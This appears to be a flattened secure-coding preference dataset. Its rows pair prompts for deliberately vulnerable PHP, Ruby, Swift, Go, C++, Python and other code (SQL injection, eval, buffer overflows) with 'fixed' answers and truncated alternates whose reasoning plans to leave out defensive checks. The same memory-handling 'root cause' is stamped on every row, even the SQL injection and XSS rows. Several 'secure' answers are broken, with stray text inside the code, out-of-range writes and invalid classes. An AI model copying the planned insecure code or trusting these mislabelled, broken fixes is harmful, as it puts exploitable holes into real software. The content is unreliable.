Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$host = 'localhost';
$user = 'peter';
$pass = 'abc123';
$db = 'my_db';
$con = new mysqli($host, $user, $pass, $db);
if ($con->connect_error) {
die("Connection failed: " . $con->connect_error);
}
$username = $con->real_escape_string($_GET['username']);
$password = $con->real_escape_string($_GET['pass... | <think>
Target: php implementation for Write a php code that connects to a MySQL database, selects a specific.
Vulnerability Vector: PHP code can have SQL injection vulnerabilities due to improper use of the `mysq (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this php code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 360 | 0.68 |
cyber_cf4df8281978 | vulnerability_research_cve | CWE-20 | Write a ruby code that creates a class named 'User' with an attribute accessor 'name'. The class should have an 'initialize' method that takes a parameter 'name' and assigns it to an instance variable '@name'. Then, define a method 'welcome_user' that accepts a user object and prints a welcome message using the user's ... | Target: ruby implementation for Write a ruby code that creates a class named 'User' with an attribute .
Vulnerability Vector: Ruby code can be vulnerable to code injection attacks if it directly interpolate (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
class User
attr_accessor :name
def initialize(name)
raise ArgumentError, "Invalid input" unless valid_name?(name)
@name = name
end
private
def valid_name?(name)
/^[a-zA-Z]+$/.match?(name)
end
end
def welcome_user(user)
puts "Welcome #{user.name}!"
end
puts "Enter your name:"
input... | <think>
Target: ruby implementation for Write a ruby code that creates a class named 'User' with an attribute .
Vulnerability Vector: Ruby code can be vulnerable to code injection attacks if it directly interpolate (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this ruby code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 269 | 0.61 |
cyber_15e61b35fe7b | vulnerability_research_cve | CWE-787 | Write a swift code that creates a class named 'VulnerableBuffer' which has a property 'buffer' of type UInt8 array. The class should have a method 'addData' that takes an array of UInt8 as input. The method should add the input data to the buffer property but only up to a maximum of 1024 elements. If the input data is ... | Target: swift implementation for Write a swift code that creates a class named 'VulnerableBuffer' which.
Vulnerability Vector: A buffer overflow vulnerability can occur when data is written to a buffer beyon (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
class SecureBuffer {
private var buffer: [UInt8] = []
func addData(_ data: [UInt8]) {
let availableSpace = 1024 - buffer.count
let dataToAdd = Array(data.prefix(availableSpace))
buffer.append(contentsOf: dataToAdd)
}
}
let buffer = SecureBuffer()
buf... | <think>
Target: swift implementation for Write a swift code that creates a class named 'VulnerableBuffer' which.
Vulnerability Vector: A buffer overflow vulnerability can occur when data is written to a buffer beyon (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this swift code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solut... | 277 | 0.86 |
cyber_69492afe5e88 | vulnerability_research_cve | CWE-20 | Write a go code that creates a slice of integers with a length of 3. Assign the values 1 and 2 to the first two elements of the slice. Then try to assign the value 4 to the fourth element of the slice. If you attempt to do this, it will result in an out-of-bounds error because the slice only has three elements. Print t... | Target: go implementation for Write a go code that creates a slice of integers with a length of 3. A.
Vulnerability Vector: The Go language allows for no bounds checking on slices, which can lead to out-o (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import "fmt"
func main() {
mySlice := []int{1, 2}
mySlice = append(mySlice, 4)
fmt.Println(mySlice)
}
``` | <think>
Target: go implementation for Write a go code that creates a slice of integers with a length of 3. A.
Vulnerability Vector: The Go language allows for no bounds checking on slices, which can lead to out-o (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | <think>
Let me consider how to write this go code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 170 | 0.92 |
cyber_3d106fc2e2c6 | vulnerability_research_cve | CWE-20 | Write a kotlin code that creates an abstract class named 'Animal' with a property 'name'. Create two classes 'Dog' and 'Cat' which inherit from 'Animal'. Each of these classes should have an additional property 'breed' and 'color' respectively. In the main function, create a mutable list of type 'Animal' and add object... | Target: kotlin implementation for Write a kotlin code that creates an abstract class named 'Animal' with.
Vulnerability Vector: Improper use of unchecked casts in Kotlin can lead to ClassCastException at runt (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.util.*
abstract class Animal(val name: String)
data class Dog(val name: String, val breed: String): Animal(name)
data class Cat(val name: String, val color: String): Animal(name)
fun main() {
val animalList: MutableList<Animal> = LinkedList()
animalList.add(Dog("Rocky", "Bulldog"))
a... | <think>
Target: kotlin implementation for Write a kotlin code that creates an abstract class named 'Animal' with.
Vulnerability Vector: Improper use of unchecked casts in Kotlin can lead to ClassCastException at runt (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this kotlin code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 353 | 0.85 |
cyber_f532cc0bcc87 | vulnerability_research_cve | CWE-787 | Write a fortran code that creates a loop that fills a character string buffer with 'A' characters. The buffer size is 10 and the loop iterates from 1 to 20. If the loop index exceeds the buffer size, it will cause a buffer overflow. | Target: fortran implementation for Write a fortran code that creates a loop that fills a character string.
Vulnerability Vector: Buffer Overflow vulnerability in Fortran could occur if the programmer does not (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program buffer_overflow
implicit none
integer :: i
character(len=10) :: buffer
do i = 1, 10
buffer(i:i) = 'A'
end do
end program buffer_overflow
``` | <think>
Target: fortran implementation for Write a fortran code that creates a loop that fills a character string.
Vulnerability Vector: Buffer Overflow vulnerability in Fortran could occur if the programmer does not (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | <think>
Let me consider how to write this fortran code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward sol... | 174 | 0.79 |
cyber_503ef0791124 | vulnerability_research_cve | CWE-787 | Write a c++ code that includes iostream and cstring libraries. In the main function, declare a character array 'buffer' of size 10. Declare another character array 'input' of size 20 and initialize it with the string "This is a long string". Use the strcpy function to copy the contents of 'input' into 'buffer'. Then pr... | Target: c++ implementation for Write a c++ code that includes iostream and cstring libraries. In the .
Vulnerability Vector: Buffer overflow vulnerability due to incorrect use of `strcpy` function. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strateg... | ```c++
#include <iostream>
#include <cstring>
int main() {
char buffer[11]; // Increase buffer size by 1 to accommodate null terminator
char input[20] = "This is a long string";
// Use strncpy instead of strcpy to prevent buffer overflow
strncpy(buffer, input, sizeof(buffer));
buffer[sizeof(bu... | <think>
Target: c++ implementation for Write a c++ code that includes iostream and cstring libraries. In the .
Vulnerability Vector: Buffer overflow vulnerability due to incorrect use of `strcpy` function. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | <think>
Let me consider how to write this c++ code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 251 | 0.63 |
cyber_202e644fa820 | vulnerability_research_cve | CWE-20 | Write a python code that defines a function named 'unsafe_function'. This function should ask the user to enter some Python code, then evaluate and execute the entered code using the built-in 'eval' function. | Target: python implementation for Write a python code that defines a function named 'unsafe_function'. T.
Vulnerability Vector: The Python `eval()` function can lead to arbitrary code execution if used with u (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
def safe_function():
user_input = input("Enter some Python code: ")
# Checking if the input contains any potentially harmful characters
if any(char in user_input for char in ['import', 'os', 'sys', 'eval', 'exec', 'open', 'input']):
print("Sorry, this function does not support such operati... | <think>
Target: python implementation for Write a python code that defines a function named 'unsafe_function'. T.
Vulnerability Vector: The Python `eval()` function can lead to arbitrary code execution if used with u (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this python code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 257 | 0.43 |
cyber_3832ade55ce2 | vulnerability_research_cve | CWE-20 | Write a java code that takes user input for username and password. If the username is 'admin' and password is 'password', print 'Access granted.' Otherwise, print 'Access denied.' | Target: java implementation for Write a java code that takes user input for username and password. If .
Vulnerability Vector: The use of System.out.println() for debugging purposes can expose sensitive info (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your username:");
String username = scanner.nextLine();
System.out.println("Enter your password:");
String passw... | <think>
Target: java implementation for Write a java code that takes user input for username and password. If .
Vulnerability Vector: The use of System.out.println() for debugging purposes can expose sensitive info (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this java code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 324 | 0.99 |
cyber_29610c65de6f | vulnerability_research_cve | CWE-79 | Write a javascript code that creates an HTTP server that listens on port 8080. When a request comes in, it should parse the URL and extract any query parameters. It should then respond with an HTML response that says 'Hello' followed by the value of the 'name' query parameter. | Target: javascript implementation for Write a javascript code that creates an HTTP server that listens on po.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities are a common type of security flaw, w (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
const http = require('http');
const url = require('url');
http.createServer((req, res) => {
const queryObject = url.parse(req.url, true).query;
let name = queryObject.name ? queryObject.name : 'Guest';
res.writeHead(200, {'Content-Type': 'text/html'});getText;
res.write('<h1>Hello ' + enc... | <think>
Target: javascript implementation for Write a javascript code that creates an HTTP server that listens on po.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities are a common type of security flaw, w (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | <think>
Let me consider how to write this javascript code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward ... | 246 | 0.75 |
cyber_ad147ab771d6 | vulnerability_research_cve | CWE-89 | Write a c# code that takes user input for username and password, then uses these inputs to create a SQL Server connection string. It opens a connection to the SQL Server database using the provided credentials. | Target: c# implementation for Write a c# code that takes user input for username and password, then .
Vulnerability Vector: Improper validation and sanitization of user input can lead to SQL Injection in (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class Program
{
static void Main(string[] args)
{
Console.Write("Enter your username: ");
string username = Console.ReadLine();
Console.Write("Enter your password: ");蜜蜂
string password = ReadPassword();
string co... | <think>
Target: c# implementation for Write a c# code that takes user input for username and password, then .
Vulnerability Vector: Improper validation and sanitization of user input can lead to SQL Injection in (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | <think>
Let me consider how to write this c# code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 514 | 0.45 |
cyber_65896f84a82a | vulnerability_research_cve | CWE-20 | Write a ruby code that uses Sinatra web framework. Define two routes, one for GET request on '/' path and another for POST request on '/calculate'. The GET route should return the string 'Hello, World!' and the POST route should evaluate the expression received in the params hash under the key 'expression'. | Target: ruby implementation for Write a ruby code that uses Sinatra web framework. Define two routes, .
Vulnerability Vector: The 'eval' function in Ruby can lead to code injection attacks if it is used car (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'sinatra'
require 'bigdecimal'
get '/' do
"Hello, World!"
end
post '/calculate' do
# Check if the requested parameter exists
if params[:expression]
# Check if the requested parameter is a valid mathematical expression
if params[:expression] =~ /^[\d\+\-\*\/\.\(\)\s]+$/
# Evaluate t... | <think>
Target: ruby implementation for Write a ruby code that uses Sinatra web framework. Define two routes, .
Vulnerability Vector: The 'eval' function in Ruby can lead to code injection attacks if it is used car (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this ruby code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 265 | 0.44 |
cyber_dd0453f14ed0 | vulnerability_research_cve | CWE-787 | Write a swift code that defines a function named 'vulnerableFunction' which takes a string parameter 'userInput'. This function should concatenate the string 'hello' with the 'userInput' and return the result. Then, create a string 'userInput' by repeating the character 'A' 1000000000 times. Pass this 'userInput' to th... | Target: swift implementation for Write a swift code that defines a function named 'vulnerableFunction' .
Vulnerability Vector: Swift's string concatenation with non-literal strings can lead to a potential bu (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func vulnerableFunction(userInput: String) -> String {
let fixedString = "hello"
var result = ""
for _ in 0..<userInput.count {
result += fixedString
}
return result
}
let userInput = String(repeating: "A", count: 1000000000)
let result = vulnerableFunction(userI... | <think>
Target: swift implementation for Write a swift code that defines a function named 'vulnerableFunction' .
Vulnerability Vector: Swift's string concatenation with non-literal strings can lead to a potential bu (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this swift code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solut... | 224 | 0.68 |
cyber_73f19a028b68 | vulnerability_research_cve | CWE-787 | Write a go code that creates a byte slice of size 10. Then, in a loop from 0 to 19, convert the first 4 bytes of the byte slice into an integer and set it to the current loop index. Finally, print out the byte slice. | Target: go implementation for Write a go code that creates a byte slice of size 10. Then, in a loop .
Vulnerability Vector: Buffer Overflow vulnerability present in Go when working with unsafe package for (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"encoding/binary"
"fmt"
)
func main() {
b := make([]byte, 10)
for i := 0; i < 20; i++ {
if i < 4 {
binary.LittleEndian.PutUint32(b[i*4:], uint32(i))
}
}
fmt.Println(b)
}
``` | <think>
Target: go implementation for Write a go code that creates a byte slice of size 10. Then, in a loop .
Vulnerability Vector: Buffer Overflow vulnerability present in Go when working with unsafe package for (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this go code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 226 | 0.75 |
cyber_a5e82fbbb92f | vulnerability_research_cve | CWE-20 | Write a kotlin code that compares two nullable strings 'a' and 'b'. If they are equal, print 'Equal', otherwise print 'Not Equal'. | Target: kotlin implementation for Write a kotlin code that compares two nullable strings 'a' and 'b'. If.
Vulnerability Vector: Kotlin's `==` operator for nullable types does not behave as expected when check (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
fun main(args: Array<String>) {
val a: String? = null
val b: String? = null
if (a?.equals(b) == true) {
println("Equal")
} else {
println("Not Equal") inclusion
}
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that compares two nullable strings 'a' and 'b'. If.
Vulnerability Vector: Kotlin's `==` operator for nullable types does not behave as expected when check (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this kotlin code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 194 | 0.75 |
cyber_476d00080657 | vulnerability_research_cve | CWE-787 | Write a fortran code that creates an array 'arr' of size 21 (-10 to 10 inclusive) and assigns each element in the array from -10 to 10. Then print out the array. | Target: fortran implementation for Write a fortran code that creates an array 'arr' of size 21 (-10 to 10.
Vulnerability Vector: A buffer overflow vulnerability in Fortran can occur from improper array indexin (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
integer, dimension(-10:10) :: arr
integer :: i
do i = -10, 10
arr(i) = i
end do
print*, arr
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that creates an array 'arr' of size 21 (-10 to 10.
Vulnerability Vector: A buffer overflow vulnerability in Fortran can occur from improper array indexin (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | <think>
Let me consider how to write this fortran code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward sol... | 185 | 0.81 |
cyber_9d251154337f | vulnerability_research_cve | CWE-787 | Write a python code that imports the os module, defines a function named 'run_command' which takes an input from the user and executes a command in the system shell. The command is constructed by concatenating the string 'ls -l ' with the user input. Then call the function with a large number of asterisks as the argume... | Target: python implementation for Write a python code that imports the os module, defines a function nam.
Vulnerability Vector: A buffer overflow vulnerability in Python could occur if an attacker can control (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```python
import subprocess
def run_command(user_input):
# Validate the user input
if len(user_input) > 10000000:
raise ValueError("Input too long")
command = ["ls", "-l", user_input]
subprocess.run(command, check=True)
# Call the function with a large number of asterisks as the argument
... | <think>
Target: python implementation for Write a python code that imports the os module, defines a function nam.
Vulnerability Vector: A buffer overflow vulnerability in Python could occur if an attacker can control (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | <think>
Let me consider how to write this python code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 239 | 0.54 |
cyber_9ca79d8daedc | vulnerability_research_cve | CWE-78 | Write a java code that connects to a MySQL database, executes a SQL query to fetch data from an 'Employees' table, and prints out the retrieved data. | Target: java implementation for Write a java code that connects to a MySQL database, executes a SQL qu.
Vulnerability Vector: Incorrect handling of resources such as database connections or file streams may (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.sql.*;
public class Main {
private static final String DB_URL = "jdbc:mysql://localhost/testdb";
private static final String USER = "username";
private static final String PASS = "password";
public static void main(String[] args) {
try (Connection conn = DriverManager.getCo... | <think>
Target: java implementation for Write a java code that connects to a MySQL database, executes a SQL qu.
Vulnerability Vector: Incorrect handling of resources such as database connections or file streams may (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this java code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 380 | 1.53 |
cyber_2be28c3fc247 | vulnerability_research_cve | CWE-20 | Write a javascript code that uses Express.js framework to create a server that listens on port 3000. The server should be able to receive POST requests at '/evaluate' endpoint. For each POST request, it should evaluate the 'expression' field from the request body using JavaScript's built-in eval() function and send bac... | Target: javascript implementation for Write a javascript code that uses Express.js framework to create a ser.
Vulnerability Vector: Incorrect usage of `eval()` function can lead to code injection attacks. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```javascript
const express = require('express');
const app = express();
app.use(express.json());
// A simple regex to validate the expression
// It only allows alphanumeric characters, parentheses, spaces, and basic arithmetic operators
const expressionRegex = /^[\d\+\-\*\/\(\)\.\s]+$/;
app.post('/evaluate', functio... | <think>
Target: javascript implementation for Write a javascript code that uses Express.js framework to create a ser.
Vulnerability Vector: Incorrect usage of `eval()` function can lead to code injection attacks. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | <think>
Let me consider how to write this javascript code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward ... | 365 | 0.48 |
cyber_0811aaa6e75d | vulnerability_research_cve | CWE-89 | Write a c# code that connects to a SQL Server database, prompts the user for their username and password, and checks if they exist in the 'Users' table of the database. If the entered credentials match those in the database, print 'Login successful!' on the console. Otherwise, print 'Invalid username or password.' | Target: c# implementation for Write a c# code that connects to a SQL Server database, prompts the us.
Vulnerability Vector: The use of User-Supplied input in dynamic SQL queries without parameterization c (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class Program
{
public static void Main()
{
string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
using (SqlConnection connection = new SqlConnection(connectionString))
{
... | <think>
Target: c# implementation for Write a c# code that connects to a SQL Server database, prompts the us.
Vulnerability Vector: The use of User-Supplied input in dynamic SQL queries without parameterization c (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | <think>
Let me consider how to write this c# code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 386 | 0.84 |
cyber_f294fb01e2ce | vulnerability_research_cve | CWE-89 | Write a php code that connects to a database and fetches data from a table named 'users' where the id matches the id passed in the URL parameter 'id'. Then display the username of each matching record. | Target: php implementation for Write a php code that connects to a database and fetches data from a t.
Vulnerability Vector: The vulnerability of SQL Injection in PHP can allow an attacker to manipulate yo (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$conn = new mysqli("localhost", "username", "password", "database");
if($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if(isset($_GET['id'])) {
$id = $conn->real_escape_string($_GET['id']);
$query = "SELECT * FROM users WHERE id = ?";
$stmt = $conn->prepare($... | <think>
Target: php implementation for Write a php code that connects to a database and fetches data from a t.
Vulnerability Vector: The vulnerability of SQL Injection in PHP can allow an attacker to manipulate yo (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this php code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 308 | 0.62 |
cyber_8b5fed5d0092 | vulnerability_research_cve | CWE-20 | Write a ruby code that uses the Sinatra web framework. Create a route (or endpoint) that responds to HTTP GET requests at the root URL ('/'). If the request includes a parameter named 'code', evaluate the value of this parameter as Ruby code using the `eval` method. | Target: ruby implementation for Write a ruby code that uses the Sinatra web framework. Create a route .
Vulnerability Vector: The use of `eval` function in Ruby can introduce code injection vulnerabilities (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'sinatra'
require 'secure_eval'
get '/' do
if params[:code]
begin
# Use the secure_eval gem to safely evaluate the user input
# It will raise an exception if the input is not safe
result = SecureEval.safe_eval(params[:code])
result
rescue StandardError => e
"Erro... | <think>
Target: ruby implementation for Write a ruby code that uses the Sinatra web framework. Create a route .
Vulnerability Vector: The use of `eval` function in Ruby can introduce code injection vulnerabilities (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this ruby code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 215 | 0.49 |
cyber_80a7dd5eecd7 | vulnerability_research_cve | CWE-20 | Write a swift code that defines a class named 'User' with a variable 'name'. The class should have an optional string property 'name'. Define a function named 'printUserName' that takes an optional 'User' object as a parameter and prints out the name of the user. Create an instance of the 'User' class and pass it to th... | Target: swift implementation for Write a swift code that defines a class named 'User' with a variable '.
Vulnerability Vector: Improper null checking of optional values in Swift can lead to runtime errors if (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
class User {
var name: String?
}
func printUserName(user: User?) {
if let user = user, let name = user.name {
print("User's name is \(name)")
} else {
print("No user or no name available.")
}
}
let user = User()
printUserName(user: user)
``` | <think>
Target: swift implementation for Write a swift code that defines a class named 'User' with a variable '.
Vulnerability Vector: Improper null checking of optional values in Swift can lead to runtime errors if (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | <think>
Let me consider how to write this swift code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solut... | 205 | 0.68 |
cyber_af71039071df | vulnerability_research_cve | CWE-787 | Write a go code that reads from standard input and prints out what it reads until an error occurs. | Target: go implementation for Write a go code that reads from standard input and prints out what it .
Vulnerability Vector: A buffer overflow vulnerability in Go can occur when data read from an untrusted (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"bufio"
"fmt"
"os"
)
func main() {
scanner := bufio.NewScanner(os.Stdin)
for scanner.Scan() {
fmt.Println(scanner.Text())
}
if err := scanner.Err(); err != nil {
fmt.Fprintln(os.Stderr, "reading standard input:", err)
}
}
``` | <think>
Target: go implementation for Write a go code that reads from standard input and prints out what it .
Vulnerability Vector: A buffer overflow vulnerability in Go can occur when data read from an untrusted (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this go code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 224 | 0.83 |
cyber_bf26e7d64a5c | vulnerability_research_cve | CWE-476 | Write a kotlin code that creates a data class named `User` with properties `name` and `age`. The `age` property is nullable. In the `main` function, create two instances of `User`, one with a name "Alice" and age 25, and another with a name "Bob" and no age specified (null). Print the names of these users. Then, print ... | Target: kotlin implementation for Write a kotlin code that creates a data class named `User` with proper.
Vulnerability Vector: NullPointerException vulnerability in Kotlin could occur if a nullable variable (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
data class User(val name: String, val age: Int?)
fun main() {
val user1 = User("Alice", 25)
val user2 = User("Bob", null)
println(user1.name)
println(user2.name)
user1.age?.let { println(it + 1) } ?: println("null")
user2.age?.let { println(it + 1) } ?: println("null")
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that creates a data class named `User` with proper.
Vulnerability Vector: NullPointerException vulnerability in Kotlin could occur if a nullable variable (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | <think>
Let me consider how to write this kotlin code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 240 | 0.75 |
cyber_30a1a03369e6 | vulnerability_research_cve | CWE-787 | Write a fortran code that reads an input string of maximum length 10 and stores it in a variable 'str' of length 5. | Target: fortran implementation for Write a fortran code that reads an input string of maximum length 10 a.
Vulnerability Vector: A buffer overflow vulnerability can occur due to insufficient memory allocation (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=5) :: str
character(len=10) :: input
read*, input
str = input(1:5)
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that reads an input string of maximum length 10 a.
Vulnerability Vector: A buffer overflow vulnerability can occur due to insufficient memory allocation (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | <think>
Let me consider how to write this fortran code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward sol... | 162 | 0.75 |
cyber_2d9adfa79a8d | vulnerability_research_cve | CWE-787 | Write a c++ code that includes two functions. The first function, named 'vulnerable_function', takes a character pointer as an argument. It declares a character array of size 10 and copies the content of the input character pointer into this array using the 'strcpy' function. The second function, named 'main', is the e... | Target: c++ implementation for Write a c++ code that includes two functions. The first function, name.
Vulnerability Vector: A buffer overflow vulnerability in C++ could allow an attacker to execute arbitr (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <cstring>
void vulnerable_function(const char* input) {
const size_t bufferSize = 10;
char buffer[bufferSize];
// Using strncpy instead of strcpy to avoid buffer overflow
strncpy(buffer, input, bufferSize - 1);
buffer[bufferSize - 1] = '\0';
}
int main() {
... | <think>
Target: c++ implementation for Write a c++ code that includes two functions. The first function, name.
Vulnerability Vector: A buffer overflow vulnerability in C++ could allow an attacker to execute arbitr (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this c++ code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 299 | 0.56 |
